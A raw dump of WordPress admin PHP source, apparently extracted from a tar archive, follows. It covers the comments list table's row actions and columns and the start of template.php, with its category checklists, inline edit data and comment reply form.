		if ( ! $the_comment_class ) {
			$the_comment_class = '';
		}

		$the_comment_class = implode( ' ', get_comment_class( $the_comment_class, $comment, $comment->comment_post_ID ) );

		if ( $comment->comment_post_ID > 0 ) {
			$post = get_post( $comment->comment_post_ID );
		}

		$this->user_can = current_user_can( 'edit_comment', $comment->comment_ID );

		$edit_post_cap = $post ? 'edit_post' : 'edit_posts';
		if (
			current_user_can( $edit_post_cap, $comment->comment_post_ID ) ||
			(
				empty( $post->post_password ) &&
				current_user_can( 'read_post', $comment->comment_post_ID )
			)
		) {
			// The user has access to the post
		} else {
			return false;
		}

		echo "<tr id='comment-$comment->comment_ID' class='$the_comment_class'>";
		$this->single_row_columns( $comment );
		echo "</tr>\n";

		unset( $GLOBALS['post'], $GLOBALS['comment'] );
	}

	/**
	 * Generates and displays row actions links.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global string $comment_status Status for the current listed comments.
	 *
	 * @param WP_Comment $item        The comment object.
	 * @param string     $column_name Current column name.
	 * @param string     $primary     Primary column name.
	 * @return string Row actions output for comments. An empty string
	 *                if the current column is not the primary column,
	 *                or if the current user cannot edit the comment.
	 */
	protected function handle_row_actions( $item, $column_name, $primary ) {
		global $comment_status;

		if ( $primary !== $column_name ) {
			return '';
		}

		if ( ! $this->user_can ) {
			return '';
		}

		// Restores the more descriptive, specific name for use within this method.
		$comment = $item;

		$the_comment_status = wp_get_comment_status( $comment );

		$output = '';

		$del_nonce     = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) );
		$approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) );

		$url = "comment.php?c=$comment->comment_ID";

		$approve_url   = esc_url( $url . "&action=approvecomment&$approve_nonce" );
		$unapprove_url = esc_url( $url . "&action=unapprovecomment&$approve_nonce" );
		$spam_url      = esc_url( $url . "&action=spamcomment&$del_nonce" );
		$unspam_url    = esc_url( $url . "&action=unspamcomment&$del_nonce" );
		$trash_url     = esc_url( $url . "&action=trashcomment&$del_nonce" );
		$untrash_url   = esc_url( $url . "&action=untrashcomment&$del_nonce" );
		$delete_url    = esc_url( $url . "&action=deletecomment&$del_nonce" );

		// Preorder it: Approve | Reply | Quick Edit | Edit | Spam | Trash.
		$actions = array(
			'approve'   => '',
			'unapprove' => '',
			'reply'     => '',
			'quickedit' => '',
			'edit'      => '',
			'spam'      => '',
			'unspam'    => '',
			'trash'     => '',
			'untrash'   => '',
			'delete'    => '',
		);

		// Not looking at all comments.
		if ( $comment_status && 'all' !== $comment_status ) {
			if ( 'approved' === $the_comment_status ) {
				$actions['unapprove'] = sprintf(
					'<a href="%s" data-wp-lists="%s" class="vim-u vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
					$unapprove_url,
					"delete:the-comment-list:comment-{$comment->comment_ID}:e7e7d3:action=dim-comment&amp;new=unapproved",
					esc_attr__( 'Unapprove this comment' ),
					__( 'Unapprove' )
				);
			} elseif ( 'unapproved' === $the_comment_status ) {
				$actions['approve'] = sprintf(
					'<a href="%s" data-wp-lists="%s" class="vim-a vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
					$approve_url,
					"delete:the-comment-list:comment-{$comment->comment_ID}:e7e7d3:action=dim-comment&amp;new=approved",
					esc_attr__( 'Approve this comment' ),
					__( 'Approve' )
				);
			}
		} else {
			$actions['approve'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="vim-a aria-button-if-js" aria-label="%s">%s</a>',
				$approve_url,
				"dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved",
				esc_attr__( 'Approve this comment' ),
				__( 'Approve' )
			);

			$actions['unapprove'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="vim-u aria-button-if-js" aria-label="%s">%s</a>',
				$unapprove_url,
				"dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=unapproved",
				esc_attr__( 'Unapprove this comment' ),
				__( 'Unapprove' )
			);
		}

		if ( 'spam' !== $the_comment_status ) {
			$actions['spam'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="vim-s vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$spam_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::spam=1",
				esc_attr__( 'Mark this comment as spam' ),
				/* translators: "Mark as spam" link. */
				_x( 'Spam', 'verb' )
			);
		} elseif ( 'spam' === $the_comment_status ) {
			$actions['unspam'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="vim-z vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$unspam_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}:66cc66:unspam=1",
				esc_attr__( 'Restore this comment from the spam' ),
				_x( 'Not Spam', 'comment' )
			);
		}

		if ( 'trash' === $the_comment_status ) {
			$actions['untrash'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="vim-z vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$untrash_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}:66cc66:untrash=1",
				esc_attr__( 'Restore this comment from the Trash' ),
				__( 'Restore' )
			);
		}

		if ( 'spam' === $the_comment_status || 'trash' === $the_comment_status || ! EMPTY_TRASH_DAYS ) {
			$actions['delete'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="delete vim-d vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$delete_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::delete=1",
				esc_attr__( 'Delete this comment permanently' ),
				__( 'Delete Permanently' )
			);
		} else {
			$actions['trash'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="delete vim-d vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$trash_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::trash=1",
				esc_attr__( 'Move this comment to the Trash' ),
				_x( 'Trash', 'verb' )
			);
		}

		if ( 'spam' !== $the_comment_status && 'trash' !== $the_comment_status ) {
			$actions['edit'] = sprintf(
				'<a href="%s" aria-label="%s">%s</a>',
				"comment.php?action=editcomment&amp;c={$comment->comment_ID}",
				esc_attr__( 'Edit this comment' ),
				__( 'Edit' )
			);

			$format = '<button type="button" data-comment-id="%d" data-post-id="%d" data-action="%s" class="%s button-link" aria-expanded="false" aria-label="%s">%s</button>';

			$actions['quickedit'] = sprintf(
				$format,
				$comment->comment_ID,
				$comment->comment_post_ID,
				'edit',
				'vim-q comment-inline',
				esc_attr__( 'Quick edit this comment inline' ),
				__( 'Quick&nbsp;Edit' )
			);

			$actions['reply'] = sprintf(
				$format,
				$comment->comment_ID,
				$comment->comment_post_ID,
				'replyto',
				'vim-r comment-inline',
				esc_attr__( 'Reply to this comment' ),
				__( 'Reply' )
			);
		}

		/** This filter is documented in wp-admin/includes/dashboard.php */
		$actions = apply_filters( 'comment_row_actions', array_filter( $actions ), $comment );

		$always_visible = false;

		$mode = get_user_setting( 'posts_list_mode', 'list' );

		if ( 'excerpt' === $mode ) {
			$always_visible = true;
		}

		$output .= '<div class="' . ( $always_visible ? 'row-actions visible' : 'row-actions' ) . '">';

		$i = 0;

		foreach ( $actions as $action => $link ) {
			++$i;

			if ( ( ( 'approve' === $action || 'unapprove' === $action ) && 2 === $i )
				|| 1 === $i
			) {
				$separator = '';
			} else {
				$separator = ' | ';
			}

			// Reply and quickedit need a hide-if-no-js span when not added with Ajax.
			if ( ( 'reply' === $action || 'quickedit' === $action ) && ! wp_doing_ajax() ) {
				$action .= ' hide-if-no-js';
			} elseif ( ( 'untrash' === $action && 'trash' === $the_comment_status )
				|| ( 'unspam' === $action && 'spam' === $the_comment_status )
			) {
				if ( '1' === get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true ) ) {
					$action .= ' approve';
				} else {
					$action .= ' unapprove';
				}
			}

			$output .= "<span class='$action'>{$separator}{$link}</span>";
		}

		$output .= '</div>';

		$output .= '<button type="button" class="toggle-row"><span class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Show more details' ) .
		'</span></button>';

		return $output;
	}

	/**
	 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Comment $item The comment object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$comment = $item;

		if ( $this->user_can ) {
			?>
		<input id="cb-select-<?php echo $comment->comment_ID; ?>" type="checkbox" name="delete_comments[]" value="<?php echo $comment->comment_ID; ?>" />
		<label for="cb-select-<?php echo $comment->comment_ID; ?>">
			<span class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Select comment' );
			?>
			</span>
		</label>
			<?php
		}
	}

	/**
	 * @param WP_Comment $comment The comment object.
	 */
	public function column_comment( $comment ) {
		echo '<div class="comment-author">';
			$this->column_author( $comment );
		echo '</div>';

		if ( $comment->comment_parent ) {
			$parent = get_comment( $comment->comment_parent );

			if ( $parent ) {
				$parent_link = esc_url( get_comment_link( $parent ) );
				$name        = get_comment_author( $parent );
				printf(
					/* translators: %s: Comment link. */
					__( 'In reply to %s.' ),
					'<a href="' . $parent_link . '">' . $name . '</a>'
				);
			}
		}

		comment_text( $comment );

		if ( $this->user_can ) {
			/** This filter is documented in wp-admin/includes/comment.php */
			$comment_content = apply_filters( 'comment_edit_pre', $comment->comment_content );
			?>
		<div id="inline-<?php echo $comment->comment_ID; ?>" class="hidden">
			<textarea class="comment" rows="1" cols="1"><?php echo esc_textarea( $comment_content ); ?></textarea>
			<div class="author-email"><?php echo esc_html( $comment->comment_author_email ); ?></div>
			<div class="author"><?php echo esc_html( $comment->comment_author ); ?></div>
			<div class="author-url"><?php echo esc_url( $comment->comment_author_url ); ?></div>
			<div class="comment_status"><?php echo $comment->comment_approved; ?></div>
		</div>
			<?php
		}
	}

	/**
	 * @global string $comment_status
	 *
	 * @param WP_Comment $comment The comment object.
	 */
	public function column_author( $comment ) {
		global $comment_status;

		$author_url = get_comment_author_url( $comment );

		$author_url_display = untrailingslashit( preg_replace( '|^http(s)?://(www\.)?|i', '', $author_url ) );

		if ( strlen( $author_url_display ) > 50 ) {
			$author_url_display = wp_html_excerpt( $author_url_display, 49, '&hellip;' );
		}

		echo '<strong>';
		comment_author( $comment );
		echo '</strong><br />';

		if ( ! empty( $author_url_display ) ) {
			// Print link to author URL, and disallow referrer information (without using target="_blank").
			printf(
				'<a href="%s" rel="noopener noreferrer">%s</a><br />',
				esc_url( $author_url ),
				esc_html( $author_url_display )
			);
		}

		if ( $this->user_can ) {
			if ( ! empty( $comment->comment_author_email ) ) {
				/** This filter is documented in wp-includes/comment-template.php */
				$email = apply_filters( 'comment_email', $comment->comment_author_email, $comment );

				if ( ! empty( $email ) && '@' !== $email ) {
					printf( '<a href="%1$s">%2$s</a><br />', esc_url( 'mailto:' . $email ), esc_html( $email ) );
				}
			}

			$author_ip = get_comment_author_IP( $comment );

			if ( $author_ip ) {
				$author_ip_url = add_query_arg(
					array(
						's'    => $author_ip,
						'mode' => 'detail',
					),
					admin_url( 'edit-comments.php' )
				);

				if ( 'spam' === $comment_status ) {
					$author_ip_url = add_query_arg( 'comment_status', 'spam', $author_ip_url );
				}

				printf( '<a href="%1$s">%2$s</a>', esc_url( $author_ip_url ), esc_html( $author_ip ) );
			}
		}
	}

	/**
	 * @param WP_Comment $comment The comment object.
	 */
	public function column_date( $comment ) {
		$submitted = sprintf(
			/* translators: 1: Comment date, 2: Comment time. */
			__( '%1$s at %2$s' ),
			/* translators: Comment date format. See https://www.php.net/manual/datetime.format.php */
			get_comment_date( __( 'Y/m/d' ), $comment ),
			/* translators: Comment time format. See https://www.php.net/manual/datetime.format.php */
			get_comment_date( __( 'g:i a' ), $comment )
		);

		echo '<div class="submitted-on">';

		if ( 'approved' === wp_get_comment_status( $comment ) && ! empty( $comment->comment_post_ID ) ) {
			printf(
				'<a href="%s">%s</a>',
				esc_url( get_comment_link( $comment ) ),
				$submitted
			);
		} else {
			echo $submitted;
		}

		echo '</div>';
	}

	/**
	 * @param WP_Comment $comment The comment object.
	 */
	public function column_response( $comment ) {
		$post = get_post();

		if ( ! $post ) {
			return;
		}

		if ( isset( $this->pending_count[ $post->ID ] ) ) {
			$pending_comments = $this->pending_count[ $post->ID ];
		} else {
			$_pending_count_temp              = get_pending_comments_num( array( $post->ID ) );
			$pending_comments                 = $_pending_count_temp[ $post->ID ];
			$this->pending_count[ $post->ID ] = $pending_comments;
		}

		if ( current_user_can( 'edit_post', $post->ID ) ) {
			$post_link  = "<a href='" . get_edit_post_link( $post->ID ) . "' class='comments-edit-item-link'>";
			$post_link .= esc_html( get_the_title( $post->ID ) ) . '</a>';
		} else {
			$post_link = esc_html( get_the_title( $post->ID ) );
		}

		echo '<div class="response-links">';

		if ( 'attachment' === $post->post_type ) {
			$thumb = wp_get_attachment_image( $post->ID, array( 80, 60 ), true );
			if ( $thumb ) {
				echo $thumb;
			}
		}

		echo $post_link;

		$post_type_object = get_post_type_object( $post->post_type );
		echo "<a href='" . get_permalink( $post->ID ) . "' class='comments-view-item-link'>" . $post_type_object->labels->view_item . '</a>';

		echo '<span class="post-com-count-wrapper post-com-count-', $post->ID, '">';
		$this->comments_bubble( $post->ID, $pending_comments );
		echo '</span> ';

		echo '</div>';
	}

	/**
	 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Comment $item        The comment object.
	 * @param string     $column_name The custom column's name.
	 */
	public function column_default( $item, $column_name ) {
		// Restores the more descriptive, specific name for use within this method.
		$comment = $item;

		/**
		 * Fires when the default column output is displayed for a single row.
		 *
		 * @since 2.8.0
		 *
		 * @param string $column_name The custom column's name.
		 * @param string $comment_id  The comment ID as a numeric string.
		 */
		do_action( 'manage_comments_custom_column', $column_name, $comment->comment_ID );
	}
}
template.php000064400000277572150275632050007121 0ustar00<?php
/**
 * Template WordPress Administration API.
 *
 * A Big Mess. Also some neat functions that are nicely written.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Walker_Category_Checklist class */
require_once ABSPATH . 'wp-admin/includes/class-walker-category-checklist.php';

/** WP_Internal_Pointers class */
require_once ABSPATH . 'wp-admin/includes/class-wp-internal-pointers.php';

//
// Category Checklists.
//

/**
 * Outputs an unordered list of checkbox input elements labeled with category names.
 *
 * @since 2.5.1
 *
 * @see wp_terms_checklist()
 *
 * @param int         $post_id              Optional. Post to generate a categories checklist for. Default 0.
 *                                          $selected_cats must not be an array. Default 0.
 * @param int         $descendants_and_self Optional. ID of the category to output along with its descendants.
 *                                          Default 0.
 * @param int[]|false $selected_cats        Optional. Array of category IDs to mark as checked. Default false.
 * @param int[]|false $popular_cats         Optional. Array of category IDs to receive the "popular-category" class.
 *                                          Default false.
 * @param Walker      $walker               Optional. Walker object to use to build the output.
 *                                          Default is a Walker_Category_Checklist instance.
 * @param bool        $checked_ontop        Optional. Whether to move checked items out of the hierarchy and to
 *                                          the top of the list. Default true.
 */
function wp_category_checklist( $post_id = 0, $descendants_and_self = 0, $selected_cats = false, $popular_cats = false, $walker = null, $checked_ontop = true ) {
	wp_terms_checklist(
		$post_id,
		array(
			'taxonomy'             => 'category',
			'descendants_and_self' => $descendants_and_self,
			'selected_cats'        => $selected_cats,
			'popular_cats'         => $popular_cats,
			'walker'               => $walker,
			'checked_ontop'        => $checked_ontop,
		)
	);
}

/**
 * Outputs an unordered list of checkbox input elements labelled with term names.
 *
 * Taxonomy-independent version of wp_category_checklist().
 *
 * @since 3.0.0
 * @since 4.4.0 Introduced the `$echo` argument.
 *
 * @param int          $post_id Optional. Post ID. Default 0.
 * @param array|string $args {
 *     Optional. Array or string of arguments for generating a terms checklist. Default empty array.
 *
 *     @type int    $descendants_and_self ID of the category to output along with its descendants.
 *                                        Default 0.
 *     @type int[]  $selected_cats        Array of category IDs to mark as checked. Default false.
 *     @type int[]  $popular_cats         Array of category IDs to receive the "popular-category" class.
 *                                        Default false.
 *     @type Walker $walker               Walker object to use to build the output. Default empty which
 *                                        results in a Walker_Category_Checklist instance being used.
 *     @type string $taxonomy             Taxonomy to generate the checklist for. Default 'category'.
 *     @type bool   $checked_ontop        Whether to move checked items out of the hierarchy and to
 *                                        the top of the list. Default true.
 *     @type bool   $echo                 Whether to echo the generated markup. False to return the markup instead
 *                                        of echoing it. Default true.
 * }
 * @return string HTML list of input elements.
 */
function wp_terms_checklist( $post_id = 0, $args = array() ) {
	$defaults = array(
		'descendants_and_self' => 0,
		'selected_cats'        => false,
		'popular_cats'         => false,
		'walker'               => null,
		'taxonomy'             => 'category',
		'checked_ontop'        => true,
		'echo'                 => true,
	);

	/**
	 * Filters the taxonomy terms checklist arguments.
	 *
	 * @since 3.4.0
	 *
	 * @see wp_terms_checklist()
	 *
	 * @param array|string $args    An array or string of arguments.
	 * @param int          $post_id The post ID.
	 */
	$params = apply_filters( 'wp_terms_checklist_args', $args, $post_id );

	$parsed_args = wp_parse_args( $params, $defaults );

	if ( empty( $parsed_args['walker'] ) || ! ( $parsed_args['walker'] instanceof Walker ) ) {
		$walker = new Walker_Category_Checklist();
	} else {
		$walker = $parsed_args['walker'];
	}

	$taxonomy             = $parsed_args['taxonomy'];
	$descendants_and_self = (int) $parsed_args['descendants_and_self'];

	$args = array( 'taxonomy' => $taxonomy );

	$tax              = get_taxonomy( $taxonomy );
	$args['disabled'] = ! current_user_can( $tax->cap->assign_terms );

	$args['list_only'] = ! empty( $parsed_args['list_only'] );

	if ( is_array( $parsed_args['selected_cats'] ) ) {
		$args['selected_cats'] = array_map( 'intval', $parsed_args['selected_cats'] );
	} elseif ( $post_id ) {
		$args['selected_cats'] = wp_get_object_terms( $post_id, $taxonomy, array_merge( $args, array( 'fields' => 'ids' ) ) );
	} else {
		$args['selected_cats'] = array();
	}

	if ( is_array( $parsed_args['popular_cats'] ) ) {
		$args['popular_cats'] = array_map( 'intval', $parsed_args['popular_cats'] );
	} else {
		$args['popular_cats'] = get_terms(
			array(
				'taxonomy'     => $taxonomy,
				'fields'       => 'ids',
				'orderby'      => 'count',
				'order'        => 'DESC',
				'number'       => 10,
				'hierarchical' => false,
			)
		);
	}

	if ( $descendants_and_self ) {
		$categories = (array) get_terms(
			array(
				'taxonomy'     => $taxonomy,
				'child_of'     => $descendants_and_self,
				'hierarchical' => 0,
				'hide_empty'   => 0,
			)
		);
		$self       = get_term( $descendants_and_self, $taxonomy );
		array_unshift( $categories, $self );
	} else {
		$categories = (array) get_terms(
			array(
				'taxonomy' => $taxonomy,
				'get'      => 'all',
			)
		);
	}

	$output = '';

	if ( $parsed_args['checked_ontop'] ) {
		/*
		 * Post-process $categories rather than adding an exclude to the get_terms() query
		 * to keep the query the same across all posts (for any query cache).
		 */
		$checked_categories = array();
		$keys               = array_keys( $categories );

		foreach ( $keys as $k ) {
			if ( in_array( $categories[ $k ]->term_id, $args['selected_cats'], true ) ) {
				$checked_categories[] = $categories[ $k ];
				unset( $categories[ $k ] );
			}
		}

		// Put checked categories on top.
		$output .= $walker->walk( $checked_categories, 0, $args );
	}
	// Then the rest of them.
	$output .= $walker->walk( $categories, 0, $args );

	if ( $parsed_args['echo'] ) {
		echo $output;
	}

	return $output;
}

/**
 * Retrieves a list of the most popular terms from the specified taxonomy.
 *
 * If the `$display` argument is true then the elements for a list of checkbox
 * `<input>` elements labelled with the names of the selected terms is output.
 * If the `$post_ID` global is not empty then the terms associated with that
 * post will be marked as checked.
 *
 * @since 2.5.0
 *
 * @param string $taxonomy     Taxonomy to retrieve terms from.
 * @param int    $default_term Optional. Not used.
 * @param int    $number       Optional. Number of terms to retrieve. Default 10.
 * @param bool   $display      Optional. Whether to display the list as well. Default true.
 * @return int[] Array of popular term IDs.
 */
function wp_popular_terms_checklist( $taxonomy, $default_term = 0, $number = 10, $display = true ) {
	$post = get_post();

	if ( $post && $post->ID ) {
		$checked_terms = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
	} else {
		$checked_terms = array();
	}

	$terms = get_terms(
		array(
			'taxonomy'     => $taxonomy,
			'orderby'      => 'count',
			'order'        => 'DESC',
			'number'       => $number,
			'hierarchical' => false,
		)
	);

	$tax = get_taxonomy( $taxonomy );

	$popular_ids = array();

	foreach ( (array) $terms as $term ) {
		$popular_ids[] = $term->term_id;

		if ( ! $display ) { // Hack for Ajax use.
			continue;
		}

		$id      = "popular-$taxonomy-$term->term_id";
		$checked = in_array( $term->term_id, $checked_terms, true ) ? 'checked="checked"' : '';
		?>

		<li id="<?php echo $id; ?>" class="popular-category">
			<label class="selectit">
				<input id="in-<?php echo $id; ?>" type="checkbox" <?php echo $checked; ?> value="<?php echo (int) $term->term_id; ?>" <?php disabled( ! current_user_can( $tax->cap->assign_terms ) ); ?> />
				<?php
				/** This filter is documented in wp-includes/category-template.php */
				echo esc_html( apply_filters( 'the_category', $term->name, '', '' ) );
				?>
			</label>
		</li>

		<?php
	}
	return $popular_ids;
}

/**
 * Outputs a link category checklist element.
 *
 * @since 2.5.1
 *
 * @param int $link_id Optional. The link ID. Default 0.
 */
function wp_link_category_checklist( $link_id = 0 ) {
	$default = 1;

	$checked_categories = array();

	if ( $link_id ) {
		$checked_categories = wp_get_link_cats( $link_id );
		// No selected categories, strange.
		if ( ! count( $checked_categories ) ) {
			$checked_categories[] = $default;
		}
	} else {
		$checked_categories[] = $default;
	}

	$categories = get_terms(
		array(
			'taxonomy'   => 'link_category',
			'orderby'    => 'name',
			'hide_empty' => 0,
		)
	);

	if ( empty( $categories ) ) {
		return;
	}

	foreach ( $categories as $category ) {
		$cat_id = $category->term_id;

		/** This filter is documented in wp-includes/category-template.php */
		$name    = esc_html( apply_filters( 'the_category', $category->name, '', '' ) );
		$checked = in_array( $cat_id, $checked_categories, true ) ? ' checked="checked"' : '';
		echo '<li id="link-category-', $cat_id, '"><label for="in-link-category-', $cat_id, '" class="selectit"><input value="', $cat_id, '" type="checkbox" name="link_category[]" id="in-link-category-', $cat_id, '"', $checked, '/> ', $name, '</label></li>';
	}
}

/**
 * Adds hidden fields with the data for use in the inline editor for posts and pages.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post Post object.
 */
function get_inline_data( $post ) {
	$post_type_object = get_post_type_object( $post->post_type );
	if ( ! current_user_can( 'edit_post', $post->ID ) ) {
		return;
	}

	$title = esc_textarea( trim( $post->post_title ) );

	echo '
<div class="hidden" id="inline_' . $post->ID . '">
	<div class="post_title">' . $title . '</div>' .
	/** This filter is documented in wp-admin/edit-tag-form.php */
	'<div class="post_name">' . apply_filters( 'editable_slug', $post->post_name, $post ) . '</div>
	<div class="post_author">' . $post->post_author . '</div>
	<div class="comment_status">' . esc_html( $post->comment_status ) . '</div>
	<div class="ping_status">' . esc_html( $post->ping_status ) . '</div>
	<div class="_status">' . esc_html( $post->post_status ) . '</div>
	<div class="jj">' . mysql2date( 'd', $post->post_date, false ) . '</div>
	<div class="mm">' . mysql2date( 'm', $post->post_date, false ) . '</div>
	<div class="aa">' . mysql2date( 'Y', $post->post_date, false ) . '</div>
	<div class="hh">' . mysql2date( 'H', $post->post_date, false ) . '</div>
	<div class="mn">' . mysql2date( 'i', $post->post_date, false ) . '</div>
	<div class="ss">' . mysql2date( 's', $post->post_date, false ) . '</div>
	<div class="post_password">' . esc_html( $post->post_password ) . '</div>';

	if ( $post_type_object->hierarchical ) {
		echo '<div class="post_parent">' . $post->post_parent . '</div>';
	}

	echo '<div class="page_template">' . ( $post->page_template ? esc_html( $post->page_template ) : 'default' ) . '</div>';

	if ( post_type_supports( $post->post_type, 'page-attributes' ) ) {
		echo '<div class="menu_order">' . $post->menu_order . '</div>';
	}

	$taxonomy_names = get_object_taxonomies( $post->post_type );

	foreach ( $taxonomy_names as $taxonomy_name ) {
		$taxonomy = get_taxonomy( $taxonomy_name );

		if ( ! $taxonomy->show_in_quick_edit ) {
			continue;
		}

		if ( $taxonomy->hierarchical ) {

			$terms = get_object_term_cache( $post->ID, $taxonomy_name );
			if ( false === $terms ) {
				$terms = wp_get_object_terms( $post->ID, $taxonomy_name );
				wp_cache_add( $post->ID, wp_list_pluck( $terms, 'term_id' ), $taxonomy_name . '_relationships' );
			}
			$term_ids = empty( $terms ) ? array() : wp_list_pluck( $terms, 'term_id' );

			echo '<div class="post_category" id="' . $taxonomy_name . '_' . $post->ID . '">' . implode( ',', $term_ids ) . '</div>';

		} else {

			$terms_to_edit = get_terms_to_edit( $post->ID, $taxonomy_name );
			if ( ! is_string( $terms_to_edit ) ) {
				$terms_to_edit = '';
			}

			echo '<div class="tags_input" id="' . $taxonomy_name . '_' . $post->ID . '">'
				. esc_html( str_replace( ',', ', ', $terms_to_edit ) ) . '</div>';

		}
	}

	if ( ! $post_type_object->hierarchical ) {
		echo '<div class="sticky">' . ( is_sticky( $post->ID ) ? 'sticky' : '' ) . '</div>';
	}

	if ( post_type_supports( $post->post_type, 'post-formats' ) ) {
		echo '<div class="post_format">' . esc_html( get_post_format( $post->ID ) ) . '</div>';
	}

	/**
	 * Fires after outputting the fields for the inline editor for posts and pages.
	 *
	 * @since 4.9.8
	 *
	 * @param WP_Post      $post             The current post object.
	 * @param WP_Post_Type $post_type_object The current post's post type object.
	 */
	do_action( 'add_inline_data', $post, $post_type_object );

	echo '</div>';
}

/**
 * Outputs the in-line comment reply-to form in the Comments list table.
 *
 * @since 2.7.0
 *
 * @global WP_List_Table $wp_list_table
 *
 * @param int    $position  Optional. The value of the 'position' input field. Default 1.
 * @param bool   $checkbox  Optional. The value of the 'checkbox' input field. Default false.
 * @param string $mode      Optional. If set to 'single', will use WP_Post_Comments_List_Table,
 *                          otherwise WP_Comments_List_Table. Default 'single'.
 * @param bool   $table_row Optional. Whether to use a table instead of a div element. Default true.
 */
function wp_comment_reply( $position = 1, $checkbox = false, $mode = 'single', $table_row = true ) {
	global $wp_list_table;
	/**
	 * Filters the in-line comment reply-to form output in the Comments
	 * list table.
	 *
	 * Returning a non-empty value here will short-circuit display
	 * of the in-line comment-reply form in the Comments list table,
	 * echoing the returned value instead.
	 *
	 * @since 2.7.0
	 *
	 * @see wp_comment_reply()
	 *
	 * @param string $content The reply-to form content.
	 * @param array  $args    An array of default args.
	 */
	$content = apply_filters(
		'wp_comment_reply',
		'',
		array(
			'position' => $position,
			'checkbox' => $checkbox,
			'mode'     => $mode,
		)
	);

	if ( ! empty( $content ) ) {
		echo $content;
		return;
	}

	if ( ! $wp_list_table ) {
		if ( 'single' === $mode ) {
			$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table' );
		} else {
			$wp_list_table = _get_list_table( 'WP_Comments_List_Table' );
		}
	}

	?>
<form method="get">
	<?php if ( $table_row ) : ?>
<table style="display:none;"><tbody id="com-reply"><tr id="replyrow" class="inline-edit-row" style="display:none;"><td colspan="<?php echo $wp_list_table->get_column_count(); ?>" class="colspanchange">
<?php else : ?>
<div id="com-reply" style="display:none;"><div id="replyrow" style="display:none;">
<?php endif; ?>
	<fieldset class="comment-reply">
	<legend>
		<span class="hidden" id="editlegend"><?php _e( 'Edit Comment' ); ?></span>
		<span class="hidden" id="replyhead"><?php _e( 'Reply to Comment' ); ?></span>
		<span class="hidden" id="addhead"><?php _e( 'Add New Comment' ); ?></span>
	</legend>

	<div id="replycontainer">
	<label for="replycontent" class="screen-reader-text">
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Comment' );
		?>
	</label>
	<?php
	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
	wp_editor(
		'',
		'replycontent',
		array(
			'media_buttons' => false,
			'tinymce'       => false,
			'quicktags'     => $quicktags_settings,
		)
	);
	?>
	</div>

	<div id="edithead" style="display:none;">
		<div class="inside">
		<label for="author-name"><?php _e( 'Name' ); ?></label>
		<input type="text" name="newcomment_author" size="50" value="" id="author-name" />
		</div>

		<div class="inside">
		<label for="author-email"><?php _e( 'Email' ); ?></label>
		<input type="text" name="newcomment_author_email" size="50" value="" id="author-email" />
		</div>

		<div class="inside">
		<label for="author-url"><?php _e( 'URL' ); ?></label>
		<input type="text" id="author-url" name="newcomment_author_url" class="code" size="103" value="" />
		</div>
	</div>

	<div id="replysubmit" class="submit">
		<p class="reply-submit-buttons">
			<button type="button" class="save button button-primary">
				<span id="addbtn" style="display: none;"><?php _e( 'Add Comment' ); ?></span>
				<span id="savebtn" style="display: none;"><?php _e( 'Update Comment' ); ?></span>
				<span id="replybtn" style="display: none;"><?php _e( 'Submit Reply' ); ?></span>
			</button>
			<button type="button" class="cancel button"><?php _e( 'Cancel' ); ?></button>
			<span class="waiting spinner"></span>
		</p>
		<?php
		wp_admin_notice(
			'<p class="error"></p>',
			array(
				'type'               => 'error',
				'additional_classes' => array( 'notice-alt', 'inline', 'hidden' ),
				'paragraph_wrap'     => false,
			)
		);
		?>
	</div>

	<input type="hidden" name="action" id="action" value="" />
	<input type="hidden" name="comment_ID" id="comment_ID" value="" />
	<input type="hidden" name="comment_post_ID" id="comment_post_ID" value="" />
	<input type="hidden" name="status" id="status" value="" />
	<input type="hidden" name="position" id="position" value="<?php echo $position; ?>" />
	<input type="hidden" name="checkbox" id="checkbox" value="<?php echo $checkbox ? 1 : 0; ?>" />
	<input type="hidden" name="mode" id="mode" value="<?php echo esc_attr( $mode ); ?>" />
	<?php
		wp_nonce_field( 'replyto-comment', '_ajax_nonce-replyto-comment', false );
	if ( current_user_can( 'unfiltered_html' ) ) {
		wp_nonce_field( 'unfiltered-html-comment', '_wp_unfiltered_html_comment', false );
	}
	?>
	</fieldset>
	<?php if ( $table_row ) : ?>
</td></tr></tbody></table>
	<?php else : ?>
</div></div>
	<?php endif; ?>
</form>
	<?php
}

/**
